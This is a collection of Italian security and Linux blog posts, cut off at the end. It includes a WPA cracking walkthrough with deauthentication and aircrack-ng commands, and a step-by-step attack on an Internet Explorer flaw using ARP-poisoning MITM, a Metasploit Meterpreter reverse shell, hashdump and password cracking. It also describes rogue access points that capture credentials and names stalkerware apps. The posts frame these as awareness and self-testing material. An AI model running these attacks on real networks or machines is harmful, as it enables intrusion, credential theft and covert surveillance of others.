4/21/2013
Comunicare sicuri
4/03/2013
Testiamo la sicurezza delle reti Wi-Fi nel modo più semplice
Le reti Wireless che oggi conosciamo bene nascono con una struttura fragile, infatti la prima cifratura WEP che usavano faceva acqua da tutte le parti ed era possibile bucarle in meno di 60 secondi. Con il tempo si è corsi al riparo rafforzando le WEP con versioni più robuste, la WPA che per l'appunto è una WEP modificata e le WPA2 che offrono maggiore sicurezza. Visto che le WEP si stanno via via estinguendo con la sostituzione dei modem/router e aggiornamenti firmware ci concentreremo sulle reti WPA e WPA2 per un resoconto delle impostazioni sulla nostra rete. Dobbiamo dire che alcuni strumenti che conosciamo come WPATester non sono altro che calcolatrici di una formula specifica che in base all'anno di produzione, MAC Address del dispositivo ed ESSID mostrano la key predefinita, quindi non dobbiamo assolutamente lasciare questa phassphrase ma sostituirla con un altra che sceglieremo accuratamente, magari inserendo più caratteri tra maiuscole e minuscole e simboli vari per rendere il compito davvero arduo. Detto questo possiamo cominciare. La prima cosa che ci occorre sono gli strumenti necessari per eseguire i test, quindi kismet e aicrack-ng per primi, se volete usarli nella vostra distribuzione Linux preferita sappiate che kismet necessita (spesso)di una configurazione in manuale visto che non viene inserita di default l'interfaccia di rete wireless. L'alternativa è scaricarsi un distribuzione LIVE che è sviluppata appositamente per questi test ed altre analisi di rete, ce ne sono varie, la più nota è forse la backtrack-linux che comprende anche un interfaccia grafica per aircrack-ng, Gerix, realizzata con BUC (Basta Un Clic). La suite aircrack-ng è disponibile anche per Windows ma leggetevi bene il Wiki per l'installazione in quanto necessita di componenti aggiuntivi, inoltre ricordate che Windows supporta solo un sottoinsieme limitato di comandi. Possiamo cominciare. Nel crack di una rete WPA e WPA2 è più semplice la fprocedura di sniffing, mentre la fase del cracking è un pò più difficile e fortunosa, del resto dobbiamo servirci di un bruteforce attack con dizionario. Quello che dobbiamo fare è catturare il famoso handhake, quando è catturato possiamo dedicarci al crack anche se offline, quindi con comodo. Il resto dipende tutto dai dizionari e la validità di questi, oppure, sempre con un file dizionazio specifico di lettere, numeri e caratteri di ogni tipo e presenti sulla tastiera, farsi aiutare da jhon the ripper in combinazione con cowpatty, cosa che vedremo più avanti. Quindi il primo passaggio è la cattura di handhake, che non dovete certo dare per scontato al primo tentativo perché questo famoso handhake è semplicemente un "file" di dati di comunicazione tra il client ed il punto di accesso, per cui dobbiamo aspettare tutto il tempo necessario per far si che qualche client esegua la connessione per poter essere certi di avere a disposizione un handhake valido per proseguire. Questa fase in genere è molto lunga, vuoi che non ci sono client che si collegano da giorni o per variabili che fanno parte della procedura, come ad esempio la distanza dalla rete e quindi la potenza del segnale, ma nel nostro test in casa propria questo problema non esiste e ci basterà far collegare un laptop per almeno 3 volte per far si che questo handhake sia catturato al più presto, nel totale non fermate la cattura se non ci sono almeno 50000 (cinquantamila) pacchetti catturati. Detto cosa ci serve possiamo procedere, quindi giocando a fare gli hacker lanceremo kismet per identificare la rete che ci interessa, almeno per ciò che riguardano dati importanti, l'indirizzo MAC (MAC Address) del punto di accesso (il nostro router in questo caso), il canale di trasmissione e la modalità (802.11 b/g/n), un attenzione anche alla velocità di trasmissione dati che ci servirà per aggiustare i settaggi. Con i dati riscontrati da kismet abbiamo cosi identificato e messo a nudo il nostro bersaglio, quindi passiamo alla fase successiva. Dobbiamo ora impostare la nostra interfaccia di rete Wireless in monitor mode (promiscua), quindi cominciamo a lanciare da terminale (ma potete farlo anche da Gerix), il comando:
airmon-ng stop wlan0
quindi rilanciarlo in monitor mode, dobbiamo ipostare anche il canale e quindi supponiamo che sia il canale 6:
airmon-ng start wlan0 6
a questo punto siamo pronti per lanciarsi nella cattura dati handhake, ma è possibile, prima di questo, "affinare" in base al rate e modalità di trasmissione, per cui dopo aver preso nota della velocità di trasmissione, supponendo il rate sia 54M, possiamo dargli:
iwconfig wlan0 rate 54M
mentre per la modalità (volendo) dipende se si tratta di 802.11 b, 802.11 g e cosi via, il valore specifico, quindi 1 se b, 2 se g, mentre se vogliamo lasciarlo in automatico imposteremo 0, come da esempio:
iwpriv wlan0 mode 0
se la cattura non si dimostra performante possiamo abbassare il rate fino al valorew minimo di 1M:
iwconfig wlan0 rate 1M
non ci rimane quindi che lanciare il comando che metterà in ascolto la trasmissione dati e la cattura dei nostri dati handshake che andremo a scrivere in testhandshake per l'analisi successiva:
airodump-ng --bssid 00:AB:XX:XX:XX:XX --channel 6 -w testhandshake wlan0
come vediamo, airodump richiede alcuni parametri che sono --bssid corrispondente al Mac address (che nell'esempio ho inserito con XX al posto di numeri e lettere, ma voi dovrete mettere ciò che ricontrate) dell'obbiettivo, --channel che è ovviamente il canale e -w che indica la scrittura sul file testhandshake.
Non ci rimane quindi che aspettare, nel frattempo possiamo scollegare e ricollegare un nostro laptop per accelerare la cattura dei pacchetti (visto che testiamo la nostra rete) o se vogliamo "giocare" all'hacker lasciare che qualcuno in casa si colleghi per usare un altro comando chiamato aireplay per scollegarlo in modo di effettuare nuovamente l'accesso, cosi:
aireplay-ng -0 1 -a 00:AB:XX:XX:XX:XX -c 00:CD:XX:XX:XX:XX wlan0
nell'esempio il primo MAC è quello del bersaglio (AP), mentre il secondo MAC è quello del client collegato e che vogliamo disconnettere.
-0 sta per modalità --deauth ed il numero che segue (1), è il numero di pacchetti di de-autenticazione, possiamo anche cambiare questo numero a nostra scelta con 2, 3, 4 e cosi via, ma senza esagerare. A questo punto dobbiamo solo aspettare e aspettare, fin quando nella finestra di airodump non viene visualizzato:
WPA HANDSHAKE
siamo quindi arrivati alla fine, abbiamo catturato gli handshake e non ci rimane che darli in pasto al crack che possiamo eseguire con:
aircrack-ng -w wordlist.txt -b 00:AB:XX:XX:XX:XX testhandshake.cap
dove ovviamente wordlist è il file testo (possiamo aggiungere il percorso se si trova in altra cartella) ed il MAC è quello dell AP obbiettivo.
Non vi resta che aspettare ed avere fortuna, naturalmente nella wordlist che avrete preparato o scaricato potete aggiungere la vostra key per vedere il tempo che impiega nel verificarla oppure scaricarne varie per vedere se già presente, alcune wordlist sono di volumi enormi e inimmaginabili ve lo assicuro. Un alternativa è, come annunciato all'inizio, usare john the ripper in combinazione con coWPAtty, l'output del primo diventerà l'input del secondo (qui si usa un pipe ;)). Ma di questo ne parleremo un altra volta, se non volete aspettare consultate la guida QUI. Un ottimo forum e wiki riguardo l'uso degli strumenti delle suite è il seguente airodump.net, mentre un metodo alternativo e oggetto di discussione lo potete trovare in questo PDF. La procedura indicata è semplificata e potete provarla per provare la robustezza delle vostre reti senza fili. Ricordate che siete sempre e solo voi i responsabili delle vostre azioni. Buona giornata a tutti.
4/02/2013
Quando si subisce un attacco di Hacker
4/01/2013
La prima cosa che cede in un sistema IT è l'uomo
10/20/2012
All'attacco di Windows
Nuova Vulnerabilità in Internet Explorer. Ecco come ottenere username e password privati e prendere possesso dei PC altrui.
La recente pubblicazione di un Exploit che sfrutta una vulnerabilità 0day di IE, cioè non ancora resa pubblica. Tale vulnerabilità è presente nella funzione CMshtmlEd::Exec del file mshtml.dll del browser Microsoft sulle versioni 6, 7, 8, 9 e permette di eseguire comandi remoti all'interno del sistema Windows. Vediamo insieme come i "pirati" sfruttano questa falla.
INTERCETTARE IL TRAFFICO
Supponiamo di essere all'interno di una LAN con due PC, quello della vittima equipaggiato con Windows XP, che naviga su Internet protetto da Firewall e antivirus con indirizzo IP 192.168.85.170, mentre il PC aggressore con sistema GNU/Linux ed indirizzo IP 192.168.85.175. Essendo il PC vittima protetto da firewall l'aggressore non può collegarsi direttamente ad esso, ma deve sfruttare un BUG "client side", ovvero che va ad attaccare un client utilizzato dall'utente e non, invece, un servizio di sistema. Perché questo avvenga è necessario che il software client (nel nostro caso lo stesso browser IE), visualizzi un contenuto malevolo creato ad-hoc dall'aggressore, come ad esempio una pagina Web modificata all'occorrenza. Questo può avvenire in vari modi ed in particolare vedremo come un attacco di tipo ARP poisoning possa permettere di effettuare un MITM (Man In The Middle - "Uomo di mezzo")sulle connessioni di rete TCP. Le connessioni non avvengono direttamente tra il PC vittima e il Gateway che poi inoltre su Internet, ma vengono "intercettate" e modificate dall'aggressore. Per effettuare questa tipologia di attacco i Cracker utilizzano Ettercap, un tool pensato appositamente pet tale scopo. Il programma oltre a permettere al pirata di ricevere tutti i dati destinati al PC della vittima, grazie all'attacco di tipo ARP Poisoning, consente anche di modificare "on the fly" (al volo) il loro contenuto. L'aggressore sarà cosi in grado di modificare le risposte delle pagine Web inserendo al loro interno del codice malevolo. Per farlo occorre creare un nuovo "filtro" che si occupa di inserire il tag
all'interno delle pagine Web di una risposta.
A questo punto l'aggressore deve "compilare" il filtro per renderlo successivamente utilizzabile da Ettecap:
etterfilter web.filter -o web.out
Inoltre abilita il fowarding dei pacchetti IP a livello kernel:
echo 1 > /proc/sys/net/ipv4/ip_foward
Infine esegue Ettercap fornendogli l'interfaccia di rete e l'indirizzo IP del PC vittima. In questo modo tutti i pacchetti saranno inoltrati verso la macchina:
ettercap -T -i eth0 -q -F web.out -M ARP /192.168.85.170/ //
Adesso tutto è pronto per procedere con l'esecuzione dell'exploit che ne sfrutta la vulnerabilità.
EXPLOIT
Per eseguire l'exploit l'aggressore utilizza Metasploit, mediante il quale, per prima cosa, genera le pagine modificate ad-hoc. Installato il software lo esegue con msfconsole e seleziona l'exploit da usare:
use exploit/windows/browser/ie_execcommand_uaf
Fatto questo imposta la porta ed il patch che risponderanno fornendo le pagine Web malevole.
L'aggressore sceglie di utilizzare un Payload basato su Meterpreter, uno strumento di attacco avanzato presente in Metasploit che, impostato come reverse shell, gli permette di baypassare il firewall e gli fornisce tutti gli strumenti necessari per sferrare l'attacco:
set PAYLOAD windows/meterpreter/reverse_tcp
A questo punto imposta l'indirizzo IP a cui si collegherà la reverse shell:
set LHOST 192.168.85.175
Infine esegue l'exploit con il comando exploit e non rimane (all'aggressore) che aspettare. Quando l'utente vittima visiterà qualche pagina Web, Internet Explorer in realtà si collegherà alla macchine dell'aggressore ed avverrà l'esecuzione del codice malevolo.
Per l'aggressore è facile verificare tutto ciò in quanto appariranno numerose scritte all'interno di Metasploit. A Questo punto l'aggressore accede al Meterpreter:
sessions -i 1
Fatto questo, grazie alle tecniche di privilege escalation chiede di diventare SYSTEM, ovvero l'account dell'utente di sistema con i privilegi maggiori: getsystem. Nel frattempo si scollega temporaneamente alla sessione Meterpreter di riferimento, set SESSION 1, e lancia l'esecuzione del modulo con run. Il modulo di Metasploit hashdump restituirà all'aggressore una serie di linee cosi formate:
utente:id:LM HASH:NT HASH:::
A questo punto visualizzerà le HASH, ovvero le versioni cifrate delle password, per cui dovrà eseguire il crack.
CRACK DELLE PASSWORD
I sistemi operativi moderni non memorizzano le password di accesso al sistema in chiaro ma le cifrano. Al login il sistema esegue un confronto tra l'hash della password inserita dall'utente e quello memorizzato, che coincidendo permettono l'accesso al sistema. In questo momento l'aggressore non possiede le password di accesso, ma solo i relativi HASH, ovvero le password cifrate. L'unico modo per scoprire le password è quello di eseguire lo stesso algoritmo su una stringa iniziale e confrontarne il risultato. Tale operazione può essere eseguita mediante un dizionario oppure in modo incrementale provando tutte le password possibili. I sistemi Microsoft memorizzano queste informazioni con due algoritmi differenti: LM HASH e NT HASH. Nel primo caso la password viene memorizzata completamente in maiuscolo e l'hash è formato da due sottostringhe che prendono in considerazione la password a blocchi di 7 caratteri per un massimo di 2 blocchi. Nel caso di NT HASH la password invece può essere al massimo di 127 caratteri mantenendo anche le lettere minuscole e maiuscole. Per eseguire il password cracking l'aggressore utilizza il tool John The Ripper, un software (di cui abbiamo parlato molto) appositamente creato per effettuare questa tipologia di attacco. John The Ripper supporta entrambe le tipologie di HASH utilizzate dagli OS Microsoft e tutte e due possono fornire dati utili al suo scopo. Eseguendo JTR su un file contenente gli hash di windows, viene automaticamente utilizzato LM HASH:
john a
Per forzare JTR ad utilizzare NT HASH l'aggressore utilizza l'opzione format nel modo seguente:
john --format=nt a
Nel primo caso è possibile che vengano identificate più facilmente alcune tipologie di password, tuttavia bisogna poi individuare le lettere maiuscole e minuscole. Nel secondo caso invece l'aggressore otterrà le password formattate correttamente
È anche possibile utilizzare le Rainbow tables per recuperare più velocemente le password dagli hash grazie ad un attacco pre-computazionale.
10/15/2012
Una Nuvola in casa
Il Web2 va in tale direzione, sempre più servizi come Dropbox, Ubuntu-ONE, Drive di Google e simili nascono per l'esigenza di epandere il proprio spazio e accedervi dovunque siamo e da differenti dispositivi sincronizzati. Quindi dalla nostra distribuzione preferita possiamo ottenere la nostra "nuvola" personale limitando lo spazio alla c apienza del disco e completamente gratis, cosi come per i già citati che offrono spazio variabile di qualche GB ma che nell'esigenza di espandere lo spazio il servizio è a pagamento. Creare il proprio Cloud non è cosi difficile e ci consente di realizzarlo nel migliore dei modi con tanto di gruppi di utenti per l'accesso. Conosco persone che per vari servizi si servono di server per gli usi più comuni alle proprie esigenze, altri che visto i costi mensili cercano di condividere le spese per uso comune, altri ancora che vedono crescere i costi di gestione per il volume sempre più maggiore richiesto. Il Cloud a casa non richiede nessun costo aggiuntivo, i limiti sono del volume stesso del disco e della banda disponibile, ed è molto interessante. Quello che serve per realizzarlo è un computer con OS Linux installato, se abbiamo la nostra macchina con Ubuntu andrà benissimo ed è proprio con questo che andremo a vedere come fare i vari passaggi per poterlo realizzare. Nella nostra macchina dobbiamo servirci di owcloud il quale è una sorta di CMS con cui è possibile realizzare la nostra "Nuvola" sebbene l'installazione da "zero" non ve la consiglio per il tempo che dobbiamo impiegare nell'operazione, mentre un aiuto lo possiamo ricavare da BITNAMI. Sicuramente avete già sentito parlare di bitnami, pacchetti che semplificano la realizzazione di portali Web direttamente sul computer di casa offrendo un pacchetto server funzionante in locale, utilissimo per progettare, realizzare e testarne il funzionamento, ma non è solo questo quello che fa, infatti è proprio grazie a bitnami stack che eseguiremo un installazione semplificata da script senza dover preoccuparci dell'ambiente LAMP installato e configurato (piattaforma server). Come vedrete dalla pagina di download è possibile usare ownCloud anche su virtualizzazione nel modo più semplice e perfettamente funzionante, ma per ora procediamo con la più semplice installazione con bitnami.
Scaricate quindi il pacchetto: bitnami-owncloud-XXX-linux-installer.run, apriamo un terminale (CTRL+ALT+T) e dirigiamoci nella cartella del pacchetto scaricato, quindi diamo i permessi di esecuzione con:
sudo chmod +x bitnami-owncloud-4.0.7-0-linux-x64-installer.run(versione al momento della scrittura di questo testo, cosa che comunque vi aiuterà premendo il tasto TAB dopo l'inserimento dei primi caratteri di bitnami).
A questo punto lo lanciamo:
./bitnami-owncloud-4.0.7-0-linux-x64-installer.run
Avanziamo con il WIZARD che ci accompagnerà nell'installazione e configurazione, facile e intuitiva.
Scegliamo la cartella dove installare ownCloud, nella home utente nel nostro esempio, quindi clicchiamo next e andiamo avanti, configuriamo l'amministratore dando username e password, un nostro indirizzo @mail valido e di nuovo next, a questo punto configuriamo la porta database MySQL, questa operazione possiamo lasciarla predefinita con la porta 3306 se non siamo molto esperti e non sappiamo quello che facciamo, quindi dobbiamo cliccare di nuovo su next e configurare la posta di uscita con l'indirizzo @mail dato in precedenza e relativa password.
A questo punto, inseriti i parametri di configurazione, l'installazione avrà inizio e richiederà il tempo necessario variabile secondo l'hardware, al termine cliccando su FINISH avremo la nostra Nuvola disponibile e funzionante. Abbiamo quasi finito, adesso non rimane altro che rendere accessibile il Cloud dall'esterno configurando il router nei vari servizi disponibili, questa operazione però varia in base al proprio Provider e abbonamento, chi ha già un indirizzo IP pubblico non deve far altro che instardare sulla porta 8080 il proprio Cloud, mentre chi ha IP dinamico dovra configurare su servizi come NO-IP, DynDNS e analoghi, un personale indirizzo, quindi anche su router nella configurazione DynamicDNS impostando il dominio servizio, indirizzo impostato e porta 8080.
Siamo quasi a fine, anche se ci vuole più a scrivere questi passaggi che a realizzarli, quindi proseguiamo aggiungendo i repository necessari, con l'esempio riportato su una distribuzione Ubuntu dovremo aprire un terminale e digitare da utente root (quindi comando su password) quanto segue:
echo 'deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04//'>> /etc/apt/sources.list
Quindi dare invio. Diamo adesso un
sudo apt-get update
e al termine installiamo il client con
sudo apt-get install owncloud-client
e appena finita l'installazione cerchiamo dalla Dash il software appena installato, lanciamolo e compiliamo i parametri con
https:// 192.168.1.X:8080/owncloud
spuntiamo Use secure connection quindi nome amministratore per ownCloud e relativa password, quindi proseguiamo.
A questo punto la connessione con il server avrà inizio, se tutto è andato per il giusto verso vedremo la voce Connected e sarà creata la directory di sincronizzazione chiamata owncloud nella nostra home. Possiamo adesso creare nuove cartelle di sincronizzazione cliccando sull'icona a forma di nuvola in alto a sinistra, scegliamo la cartella da sincronizzare (in upload) cliccando su Scelta e quindi proseguiamo.
La nuova schermata selezioniamo l'opzione al tuo ownCloud e indichiamo in cartella su ownCloud un nuome per la nuova directory che verrà creata su server, cosi facendo riconosceremo subito i file caricati dal nostro PC e terminiamo con Finish. È il momento di WEBDAV, quindi installiamolo con
sudo apt-get install davfs2
Al termine lanciamo il comando per riconfigurare
sudo dpkg-reconfigure davfs2
e quando appare l'interfaccia grafica scegliamo SI e confermiamo con invio.
Adesso possiamo aggiungere gli utenti autorizzati a connettersi al Cloud server utilizzando WebDAV semplicemente lanciando da terminale il comando
sudo usermod -aG davfs2 nomeutente
Ancora qualche ottimizzazione e siamo alla fine.
Modifichiamo il file fstab per far si che la partizione del server Cloud possa essere montata in automatico, editiamo quindi il file con
sudo gedit /etc/fstab
e aggiungiamo la seguente stringa:
percorso_Cloud/files/webdav.php/home/nomeutente/owncloud davfs user,rw,noauto 0 0
spostiamoci nella home del sistema e creiamo qui due directory, una denominata cloud e l'altra devfs2 e all'interno di quest'ultima creiamo un nuovo files secrets contenente la riga
percorso_cloud/files/webdav.php
seguito da username e password di accesso.
Torniamo adesso al nostro terminale e lanciamo il comando
chmod 600 ~/.davfs2/secrets
per settare i permessi del file appena editato, infine lanciamo
mount ~/cloud
per montare il nuovo spazio disco che sarà la nostra Nuvola vista come disco locale. Come detto ad inizio owncloud assomiglia ad un CMS e come tale offre strumenti per configurazioni avanzate e plugins vari per funzioni aggiuntive, come ad esempio i nomi link corti rendendoli più brevi e semplici. Tra le funzioni aggiuntive è quasi d'obbligo rendere il nostro Cloud da privato a pubblico, quindi dalle impostazioni alla voce utenti è possibile aggiungere amici o chi volgiamo, aggiungendolo al gruppo user e impostando da Quote lo spazio massimo utilizzabile dall'utente appena creato.
Spostiamo il cursore accanto al nome file che vogliamo condividere e clicchiamo su condividi, compiliamo il campo User o Group con il nome dell'utente e quest'ultimo si troverà il file condiviso sull'area personale nella cartella share.
Ovviamente è possibile condividere file con utenti esterni al proprio Cloud, basta inviare il relativo link via @mail, per farlo clicchiamo su Condividi e selezioniamo Share with private link, a quel punto avremo il link creato al relativo file, inseriamo in basso l'indirizzo @mail e clicchiamo su Send, difficile? NO dai! Più a spiegarlo che realizzarlo.
Abbbiamo cosi il nostro Cloud in locale ma anche disponibile per l'esterno, condivisibile con chi vogliamo e impostato da noi per ogni esigenza. Ci sono poi anche altre applicazioni interessanti associate ad ownCloud, la stessa scaricabile per Android (presente anche per iPhone) oppure un analoga app scaricabile da Play Store gratuitamente.... sto parlando di WebDAV File Manager.
Questo per il momento è tutto e per approfondimenti vari o supporto contattatemi pure e non sottovalutate l'idea del NAS realizzato a casa, torno al discorso iniziale ma se ve lo dico un motivo ci dovrà pur essere no!? Ho sentito dire cose assurde, ad esempio come un vecchio PC può gestire dischi di Terabyte, ma come detto ad inizio è la stessa freeNAS che bypassa i limiti del BIOS rendendovi un sistema stabile e veloce, basato su Unix e completamente free, non i vari NAS da 300 euro con parti di codice Closed.... pensateci, chissà cosa si potrebbe fare con un NAS ed un Cloud. Volendo provare la demo di ownCloud possiamo testarla direttamente da QUI.
9/06/2012
ATTENTI ALLE TRAPPOLE
Andando avanti le tecnologie migliorano, ma cambiano anche le tecniche e strategie dei Cracker, cosi come i servizi si fanno intensi più il loro compito è semplice. Cerchiamo però di rendere meglio l'idea. L'era degli Smartphones, iPhone e tablet fanno si che aumentino gli utenti che necessitano di un punto di accesso, ed è cosi che per mantenersi clienti ed acquisirne dei nuovi, le più svariate attività commerciali e non offrono servizi ampliando le proprie reti wireless, cosi come in molti Comuni vengono sviluppate reti pubbliche, come ad esempio nella mia città dove il ptlug sta facendo un ottimo lavoro.... facile capire adesso dove vivo. ;) Ho sempre detto che si deve prestare molta attenzione alle reti pubbliche o condivise e continuo a dirlo, è preferibile accedere al Web per leggere notizie in genere, navigazione Internet ma senza dover accedere a proprie postazioni remote, server, Mail o account vari come Twitter e Social Network in genere, questo per il semplice fatto che possiamo diventare vittime di Cracker che vogliono impadronirsi dei nostri dati di accesso e violare cosi la sicurezza con cui l'esperienza ci ha insegnato essere importante sebbene sono ancora molti gli utenti che non gradiscono impostare password utenti o di vitale importanza, dell'amministratore. Detto questo voglio illuminarvi su alcune tecniche di "tendenza" grazie appunto ai nuovi servizi offerti e soprattutto alle nuove tecnologie, metodi che non richiedono sforzi enormi ne conoscenze approfondite in materia, disponibili per qualsiasi dispositivo. Partiamo dal più semplice e facilmente reperibile, non vi starò ad elencare la piattaforma usata ne come usare Wireshark, ma se avete letto l'articolo di questo tool non vi sarà difficile immaginare il resto. Questo lo dico per il semplice fatto che per eseguire una cattura dei dati non è necessario un computer ne una distribuzione come la BackTrack, ma un semplice smartphone o iPhone. La tecnica consiste nell'ingannare gli utenti facendogli credere che esistono punti di accesso liberi, quindi una volta collegati, tentando l'accesso al proprio profilo Twitter o Social Network, in realtà non fanno altro che trasmettere dati pacchetto ai dispositivi trappola dove in seguito analizzando i pcap (pacchetti catturati) mostreranno i dati utente e quindi offrendo su un piatto d'argento i tanto protetti dati di accesso. Creare falsi punti di accesso è semplicissimo, basta creare una rete ad-hoc, quindi lanciare un app che consente la cattura dei dati, app gratuite come Shark root per Android, una volta catturati i pacchetti non ci rimane che analizzarli in seguito sul computer oppure usare un analoga app come Shark reader per visualizzarli nell'immediato ed eseguire cosi l'accesso. Questa trappola è semplice da realizzare, lasciando collegare l'utente non si accorgerà di nulla sebbene possa a sua volta prendere nota del MAC dispositivo e quindi con qualche escamotage e molta fortuna, risalire a chi crea la trappola, in particolare se questa viene eseguita da persone di nostra conoscenza che vogliono ficcare il naso sui propri affari... ad esempio un partner geloso che vuole sapere con chi chattiamo e cosa condividiamo con amici e conoscenti, anche se per i partner gelosi esistono app specifiche che non consentono la cattura dei pacchetti e dati di accesso ma addirittura dove ci troviamo, con chi messaggia in sms e lo stesso testo degli sms che inviano e ricevono simultaneamente oltre al numero del cellulare del mittente e completo ovviamente, una app del genere deve però essere installata sul dispositivo della vittima in pochi e semplici, nonché veloci passaggi, l'app non verrà visualizzata e per rimuoverla ci dobbiamo collegare al "market" e procedere con la rimozione, nel dubbio che qualcuno l'ne sia vittima basta cercarla su Play Store, quando trovata se non compare la voce "acceta e scarica" ma "disinstalla" ne avrà conferma. Un app simile è SMS Tracker Agent ed è free, mentre un altra GPS SPY Plus è invece a pagamento (€ 4,00) e offre servizi aggiuntivi al prezzo di € 1,00 cadauno, ad ogni modo questo è un altro articolo. Adesso che ne sapete di più fate attenzione e rifletteteci prima di eseguire un accesso che richieda dati personali del vostro account su reti libere e condivise, potreste ritrovarvi intrappolati.
6/19/2012
Verifichiamo eventuali Filtri al Provider con Shaperprobe
wget http://www.cc.gatech.edu/~partha/diffprobe/shaperprobe.tgz
eseguito il download scompattiamo:
tar xvf shaperprobe.tgz
quindi entriamo nella cartella creata alla scompattazione con:
cd shaperprobe
e compiliamo:
make
a questo punto non ci resta che lanciarlo con:
./prober
nei successivi 2 minuti e mezzo verranno eseguiti i test e analisi per la banda in uso. Ovviamente per avere informazioni sulla velocità e banda disponibile è bene eseguire il test senza avere client bittorrent attivi o altri come emule e cosi via, se ci sono client attivi non possiamo ottenere dati precisi. I filtri e limitazioni in genere (shaper), se si trovano possiamo vederlo dal resoconto Upstream e Downstream come da figura che in tal caso evidenzia No Shaper Detectd, è comunque utile eseguire il test in vari orari del giorno.
12/23/2011
FaceNiff per Android
5/06/2011
Torniamo a parlare di dati sensibili, ma anche se si tratta solo di cose a noi care e che vogliamo custodire gelosamente la procedura è la stessa, quindi vediamo di cosa stiamo parlando. Nonostante si possono prendere varie contromisure per evitare intrusi nel nostro sistema, come specificato nei vari post, è possibile che si arrivi tardi e quindi lasciamo il nostro sistema per qualche giorno esposto ai pericoli non avendo eseguito un aggiornamento proposto il tal giorno, ma anche se aggiornato tempestivamente non possiamo escludere al 100% un eventuale intruso, cosa rara ma non impossibile. La piattaforma è comunque indispensabile, se ci troviamo in ambiente Windows in particolare, nonostante si possa usare un ottimo anti-virus e anti-malware non si ha mai la totale garanzia della protezione, riguardo alle patch poi è sempre un incognita visto che spesso alcune correzioni portano problemini di varia natura qua e la, sebbene si faccia più attenzione sotto questo punto di vista succede tutt'ora. Quindi dopo aver protetto il sistema, messo su un firewall con regole rigide e gli strumenti necessari per prevenire e salvaguardare il proprio sistema, non possiamo alla fine trascurare l'ipotesi di eventuali dati rubati e quindi la nostra rovina. Le probabilità per quanto remote possono apparire in realtà non lo sono, per questo vi consiglio un ulteriore protezione dati semplicissima ma che renderà difficile ogni tentativo di intrusioni spietate. Quello che sto cercando di dire è che prevenire un attacco, per quanto sia salutare, non ci garantisce la sicurezza, per questo dobbiamo fare un ultimo e semplice sforzo che rende (quasi) impossibile l'interpretazione dei nostri dati, preciso "quasi" solo perchè potrebbe anche essere possibile, ma per farlo servirebbero molte CPU di estrema potenza per decifrare i dati. Bene, immagino che avete capito di cosa sto parlando, la cifratura dei dati. L'operazione è molto semplice, vi consiglio quindi di farlo per avere maggiori garanzie. Gli strumenti sono di vario genere, qui vi dirò come procedere su Linux usando seahorse-plugin che naturalmente deve essere installato. Potete quindi decifrare intere cartelle o singoli file, sia separatamente che impacchettati. Cifrare è un operazione semplicissima, cliccate con il tasto destro del mouse sul documento o cartella che volete cifrare e scegliete appunto Cifra. Vi verrà chiesto di impostare la phassphrase, quindi procedendo si aprirà l'interfaccia per farlo, i dati richiesti sono il vostro nome (o nik) e l'indirizzo e-mail, quindi la possibilità di un commento, poi dovrete impostare la password che in questo caso vi consiglio robusta, ed è fatta. Ci sono eventuali impostazioni da personalizzare, come il tipo di cifratura e quanti bit dovrà essere, quindi lo troveremo aggiunto e cifrato, fatto questo possiamo rimuovere l'originale salvandolo su memoria esterna per non rischiare di perderlo, mentre dal computer accederemo al documento cifrato cliccandoci sopra, ma attenzione, cliccandoci non verrà aperto subito, vi verrà chiesto come salvarlo nuovamente per la lettura, quindi scelto il nome o sovrascrivendo il precedente dovrete digitare la password che avete impostato per l'occasione. Abbiamo quindi adesso uno strumento in più per eventuale perdita dei dati, anche dalla stessa postazione sarà impossibile visualizzare i documenti se non si conosce la password impostata. Non aspettate e fatelo subito.
5/04/2011
Facebook, il social network per eccellenza secondo i gusti di molti utenti. Per tanti altri è uno in più oltre l'abituale Twitter ed il più conosciuto in Europa Netlog.... ma scommetto che molti utenti di Facebook non sanno ancora cosa siano. Comunque FB una novità l'ha portata, quella di far avvicinare molta più utenza ad un social network, voglio vederla cosi e non come FB che ha un grande successo perchè la maggior parte delle persone hanno pensieri e voglie perverse, non dimentichiamo che FB è una bacheca per socializzare con utenti condividendo gusti e quanto altro ci comprende e poter esprimere cosa ci piace, il tutto velato come un gioco ma poi non troppo. Come per Twitter però FB offre agli "Hackers" di tutto il mondo la possibilità di diffondere malware, di impadronirsi dei dati degli utenti e in un modo semplice e chiaro, avendo cosi dati molto precisi di tutti. Il suo successo fa si che molti siano felici, anche me in questo caso, perchè gli interventi a partire da 20,00 € per la rimozione malware sono aumentati vertiginosamente, ma avendo una coscienza pulita in questo senso, non posso dire che la cosa mi fa ulteriormente piacere, anzi è il contrario. Se non guardassi in faccia a nessuno non scriverei neppure questo articolo, ma le cose non stanno del tutto cosi. Mi dispiace perchè tanti utenti rischiano davvero troppo, la nostra privacy prima di ogni altra cosa, ma anche denaro dei conti correnti cosi come numeri di carte di credito, una miniera di phishing mai registrata prima. Ci sono poi anche altre violazioni, cosa che non tutti hanno chiara a dire il vero, ma funziona proprio cosi. Sono quindi gli stessi utenti che nel passatempo preferito tra un post e l'altro cercano di rimanere presenti davanti al monitor cercando passatempi, la maggior parte di questi senza dover allontanarsi dalla propria pagina di FB, che sballo! già, ma spesso inconsapevoli che accettando i termini d'uso concediamo più di quanto si crede, che solo al trattamento dei nostri dati sarebbe da rifiutare. Tanti invece credono che concedendo i diritti delle proprie immagini e chissà cosa altro possono un giorno compiacersi, ma le cose non sono proprio cosi, quindi meglio leggersi il regolamento, su questo mi chiedo se, e in quanti lo abbiano mai fatto. Nell'insieme FB è uno strumento molto utile per tutti, qualcuno lo sa già, altri ancora no, ma presto se ne accorgeranno. Qualcuno però ha capito la sua pericolosità, quindi ha iniziato campagne per l'informazione, sebbene la maggior parte le abbia ignorate, almeno fin quando non è successo loro qualcosa, e citarle adesso sembra inutile, però ricordatevi che ci sono cosi come ci sono leggi che tutelano i cittadini, su questo punto semmbra a volte che Internet abbia leggi differenti, in parte è vero visto che sono differenti per ogni nazione, ma noi Italiani dobbiamo fare i conti con leggi Italiane, cosa che molto pochi sanno o che troppi ignorano. Una delle leggi riguarda la tanto discussa e delicata Privacy, la cosa ci fa sorridere visto che da Spokeo inserendo il nome del garante sulla Privacy otteniamo tante di quelle informazioni da farne una barzelletta, ma la legge è legge e se io inserisco una mia immagine che però contiene anche altre persone e non chiedo loro il consenso firmato (liberatoria) non posso pubblicarli in quanto violazione di legge e quindi sanzionabile. Facebook è quindi uno strumento potente e pericoloso per chi lo usa con superficialità. Da tempo sono dell'idea che Internet oltre ad essere una fonte fantastica per l'informazione ed il commercio è anche un arma pericolosa, cosa che quindi necessiterebbe di un patentino per 